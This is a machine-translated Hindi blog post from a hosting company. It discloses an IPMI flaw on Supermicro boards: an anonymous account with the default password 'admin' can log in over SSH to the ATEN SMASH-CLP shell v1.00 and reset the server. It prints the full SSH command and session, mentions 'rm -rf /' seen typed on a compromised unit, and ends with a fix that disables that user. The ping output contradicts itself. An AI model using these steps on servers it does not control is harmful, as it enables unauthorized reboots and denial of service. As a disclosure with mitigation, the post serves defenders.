आईपीएमआई - शेल वी में भेद्यता। 1.00 आपको सर्वर को पुनरारंभ करने की अनुमति देता है

आपका स्वागत है प्रिय Khabrovites!

अब से, ग्लोबटेल टीम आपको होस्टिंग और डेटा सेंटर के क्षेत्र में सूचनात्मक लेखों के साथ खुश करने की कोशिश करेगी, साथ ही कभी-कभी तकनीकी उपलब्धियों से हमारी उपलब्धियों को विशुद्ध रूप से प्रकाशित करेगी।



आज मैं एक सरल लेकिन बहुत महत्वपूर्ण लेख के साथ शुरुआत करना चाहूंगा कि कैसे हम आईपीएमआई में एक शानदार छेद में आए।



हमारे ग्राहकों में से एक ने शिकायत की कि एक प्रसिद्ध रूसी ब्रांड से xeon E3 के साथ एक नया सर्वर बहुत बार रिबूट होता है। IPMI सर्वर पर जाने के बाद, हमने सक्रिय रूप से टाइपिंग rm -rf / । जिसने भी यह देखा वह समझ जाएगा। उन्होंने पावर कॉर्ड को बाहर निकाला - सर्वर सेट करने के लिए एक नेटबुक के साथ गया और यह पता लगाया कि क्या है।

मुझे तुरंत कहना होगा कि हमने सभी IPMI IP को अवरुद्ध करके इस समस्या को हल किया। अब उन तक पहुंच केवल पूर्व ग्राहकों के अनुरोध पर जारी की गई है।

समस्या शेल संस्करण 1.00 में बंद है।

हम ट्रिक्स (सर्वर रिबूट) का हिस्सा दिखाते हैं जिसे क्रैंक किया जा सकता है। SSH के माध्यम से IPMI से जुड़ने की क्षमता सभी को ज्ञात नहीं है। यह ऐसी सुविधा है जो आपको सर्वर को पुनरारंभ करने की अनुमति देती है। यह पता चला है कि वेब इंटरफ़ेस के माध्यम से आप अनाम नेटवर्क के लिए पासवर्ड नहीं बदल सकते हैं, जिसमें एक मानक व्यवस्थापक पासवर्ड है और जो किसी कारण से एसएसएच के माध्यम से मशीन को पुनरारंभ कर सकता है।

यहां SSH के माध्यम से IPMI से कनेक्ट करते समय आदेशों की एक सूची दी गई है:

Password of anonymous: admin
# ssh -o PreferredAuthentications=password,keyboard-interactive -l "" IPMI
@IPMI's password:
Auth User/Pass with PS...pass.

ATEN SMASH-CLP System Management Shell, version 1.00
Copyright (c) 2008-2009 by ATEN International CO., Ltd.
All Rights Reserved

-> show
/

Targets :
system1

Properties :
None

Verbs :
cd
show
help
version
exit

-> cd system1
/system1

-> show /system1/pwrmgtsvc1
/system1/pwrmgtsvc1

Targets :
none

Properties :
Name=IPMI Power Service
CreationClassName=IPMI_PowerManagementService
ElementName=Server Power Management Service
EnabledState=5
RequestedState=12
EnabledDefault=2
PowerState=1

Verbs :
cd
show
help
version
exit
start
stop
reset

-> reset /system1/pwrmgtsvc1
/system1/pwrmgtsvc1
reset done...


हम सर्वर को पिंग करते हैं:

ping IpOfServer

Pinging IpOfServer with 32 bytes of data:
Reply from IpOfServer: Destination host unreachable.
Reply from IpOfServer: Destination host unreachable.
Reply from IpOfServer: Destination host unreachable.
Reply from IpOfServer: Destination host unreachable.

Ping statistics for IpOfServer:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),



जैसा कि आप देख सकते हैं - कोई पिंग नहीं है, सर्वर रिबूट करता है।

अतिरिक्त - समस्या सुपरमाइक्रो मदरबोर्ड X8 के लिए IPMI संस्करण 2.0 (न कि बायोस) 1.00 से संबंधित है और Xeon 56xx श्रृंखला प्रोसेसर के लिए X9 श्रृंखला और दोहरे प्रोसेसर बोर्ड


उपयोगकर्ता अनाम को बंद करना ipmitool के माध्यम से किया जाना चाहिए।

लिनक्स पर स्थापित करने के लिए लिस्टिंग:

wget ftp.supermicro.com/utility/IPMICFG/Linux/IPMICFG-Linux_v1.41.zip
unzip IPMICFG-Linux_v1.41.zip
cd IPMICFG-Linux_v1.41_110706/
chmod 755 *

अनाम को अक्षम करने का आदेश:

ipmitool user disable 1